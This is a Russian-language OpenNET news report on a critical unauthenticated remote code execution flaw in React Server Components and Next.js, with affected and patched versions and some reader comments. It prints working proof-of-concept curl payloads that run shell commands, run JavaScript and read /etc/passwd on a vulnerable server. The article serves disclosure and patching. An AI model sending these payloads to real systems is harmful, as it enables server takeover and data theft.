The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

Уязвимость в серверных компонентах React, позволяющая выполнить код на сервере

04.12.2025 11:12

В серверных компонентах web-фреймворка React (RSC, React Server Components) устранена уязвимость (CVE-2025-55182), позволявшая через отправку запроса к серверному обработчику выполнить произвольный код на сервере. Уязвимости присвоен критический уровень опасности (10 из 10). Уязвимость проявляется в экспериментальных компонентах react-server-dom-webpack, react-server-dom-parcel и react-server-dom-turbopack, применяемых для выполнения функций и формирования элементов интерфейса на сервере, а не на стороне клиента.

Проблема вызвана небезопасной десериализацией данных, полученных в HTTP-запросах к серверным обработчикам. Обработчики "vm#runInThisContext", "vm#runInNewContext", "child_process#execFileSync" и "child_process#execSync" можно использовать для запуска команд в системе или выполнения JavaScript-кода в контексте текущего процесса (с обходом sandbox-изоляции). Также возможно использование обработчиков "fs#readFileSync" и "fs#writeFileSync" для чтения и записи произвольных файлов на сервере, насколько позволяют текущие права доступа. Для атаки не требуется прохождение аутентификации. Доступен прототип эксплоита.


   # Запуск команды whoami
   curl -X POST http://localhost:3002/formaction \
     -F '$ACTION_REF_0=' \
     -F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'

   # Выполнение JavaScript-кода 1+1
   curl -X POST http://localhost:3002/formaction \
     -F '$ACTION_REF_0=' \
     -F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["1+1"]}'

   # Чтение файла /etc/passwd
   curl -X POST http://localhost:3002/formaction \
     -F '$ACTION_REF_0=' \
     -F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'

Подверженность систем уязвимостям зависит от применения на них уязвимых серверных компонентов react-server-dom-webpack, react-server-dom-parcel и react-server-dom-turbopack. Приложения не использующие react-server уязвимость не затрагивает. Степень охвата уязвимостью рабочих систем, в которых используется React, пока не ясна. С одной стороны, React является одним из самых популярных web-фреймворков (используется примерно на 6% web-сайтов), а уязвимые компоненты развиваются в основном репозитории и входят в состав релизов. Уязвимые компоненты также поддерживаются в основанных на React фреймворках, таких как Next.js и react-router. По данным компании Wiz Research уязвимые экземпляры Next.js или React выявлены в 39% проанализированных облачных окружений.

С другой стороны, генерация контента на сервере через React Server Components не часто используемая функция (большинство React-сайтов отрисовывают интерфейс только на стороне клиента), а уязвимые компоненты помечены как экспериментальные и не гарантирующие корректную работу. Данные компоненты имеют относительно небольшое число прямых загрузок из репозитория NPM: react-server-dom-webpack - 670 тысяч в неделю, react-server-dom-parcel - 7 тысяч и react-server-dom-turbopack - 32 тысячи, для сравнения NPM-пакет React имеет 45 млн загрузок в неделю.

Уязвимость присутствует версиях React 9.0.0, 19.1.0, 19.1.1 и 19.2.0, и устранена в обновлениях React 19.0.1, 19.1.2 и 19.2.1. Уязвимые компоненты также применяются в пакетах react-router (20 млн загрузок в неделю), waku, @parcel/rsc (Parcel RSC plugin), @vitejs/plugin-rsc (Vite RSC plugin) и rwsdk (RedwoodSDK). В React Router проблема проявляется только при использовании экпериментального режима RSC.

Аналогичная уязвимость (CVE-2025-66478) выявлена в реализации протокола RSC (React Server Components) во фреймворке Next.js (16 млн загрузок в неделю). Проблема затрагивает приложения, использующие App Router и ветки Next.js 15.x и 16.x. Утверждается, что уязвимость проявляется в конфигурации Next.js по умолчанию (стандартное приложение, создаваемое утилитой create-next-app, подвержено атаке). Пользователям рекомендовано как можно скорее установить обновление Next.js 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7 или 16.0.7.

  1. Главная ссылка к новости (https://react.dev/blog/2025/12...)
  2. OpenNews: Facebook сменил лицензию на GraphQL и выпустил React 16
  3. OpenNews: Google продемонстрировал эксплуатацию уязвимостей Spectre через выполнение JavaScript в браузере
  4. OpenNews: В репозитории Hugging Face выявлены вредоносные AI-модели, выполняющие код
  5. OpenNews: Критическая уязвимость в Apache Log4j 2, затрагивающая многие Java-проекты
  6. OpenNews: Критическая 0-day уязвимость в Spring Framework, применяемом во многих Java-проектах
Лицензия: CC BY 3.0
Короткая ссылка: https://opennet.ru/64373-react
Ключевые слова: react, next.js
При перепечатке указание ссылки на opennet.ru обязательно


Обсуждение (7) Ajax | 1 уровень | Линейный | +/- | Раскрыть всё | RSS
  • 1.1, Мохнонос (?), 11:50, 04/12/2025 [ответить]  
  • +/
    PHP-дыряв! Кричали они.
    PHP-неактуален! Вторили им, другие.
    А вот нода, питоны и прочее новомодное - единственное правильное решение! Хором заявили они же, совместно.
     
     
  • 2.2, Аноним (-), 11:55, 04/12/2025 [^] [^^] [^^^] [ответить]  
  • +2 +/
    От этой новости ПЫХа менее дырявой не стала)
    Тут теорема г-на Эскобара во всей красе.

    > питоны и прочее новомодное

    Причем тут питон, если нода на JS написана??

    Но тебя никто не заставляет им пользоваться.
    Можешь обмазываться  ̶о̶в̶н̶о̶ ПХПой.

     
  • 2.8, Аноним (8), 12:25, 04/12/2025 [^] [^^] [^^^] [ответить]  
  • +/
    в php подобные штуки были из коробки (allow_url_include и т.п.), а тут люди специально постарались, чтобы такое же сделать

    гении, чо

     

  • 1.3, Аноним (-), 11:56, 04/12/2025 [ответить]  
  • +/
    > Уязвимость проявляется в экспериментальных компонентах

    А ведь когда в nginx была дырень, то все кричали "это экспериментальная фича, ничего страшного".
    А тут такая трагедия.

     
  • 1.5, 12yoexpert (ok), 11:58, 04/12/2025 [ответить]  
  • +/
    странно, вроде бы серьёзный язык для адекватныx взрослыx теxнарей
     

  • 1.7, Анонисссм (?), 12:24, 04/12/2025 [ответить]  
  • +/
    не понимаю как реакт позволит выполнить код на сервере, если на сервере spring, а реакт у клиента )
     

     Добавить комментарий
    Имя:
    E-Mail:
    Текст:



    Партнёры:
    PostgresPro
    Inferno Solutions
    Hosting by Hoster.ru
    Хостинг:

    Закладки на сайте
    Проследить за страницей
    Created 1996-2025 by Maxim Chirkov
    Добавить, Поддержать, Вебмастеру